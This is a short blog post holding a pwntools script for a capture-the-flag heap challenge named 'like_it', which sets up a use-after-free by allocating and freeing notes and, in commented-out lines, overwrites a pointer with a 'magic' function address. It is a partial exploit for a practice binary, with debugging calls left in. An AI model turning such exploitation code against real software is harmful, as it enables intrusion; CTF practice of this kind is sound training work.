pwn-like_it(uaf)

from pwn import * 
def conn():
    global r
    r = process("./like_it")
    #r = remote("1.95.36.136", 2097)
def add(x,y):
    r.sendlineafter(b"Your choice :",b"1")
    r.sendlineafter(b"Note size :",str(x))
    r.sendlineafter(b"Content :",y)
def dele(x):
    r.sendlineafter(b"Your choice :",b"2")
    r.sendlineafter(b"Index :",str(x))
def show(x):
    r.sendlineafter(b"Your choice :",b"3")
    r.sendlineafter(b"Index :",str(x))
def pwn():
    r.sendlineafter(b"Hi! What do you like?\n",b"hello,everyone.")
    
    add(0x20,b'aaa') #0
    add(0x20,b'aaa') #1
    add(0x10,b'aaa') #2
    gdb.attach(r)
    dele(0)
    dele(1)
    magic = 0x400cb1
    #add(8,p64(magic))
    #show(0)

    r.interactive()
conn()
pwn()
posted @ 2025-04-27 18:13  lethe311  阅读(3)  评论(0)    收藏  举报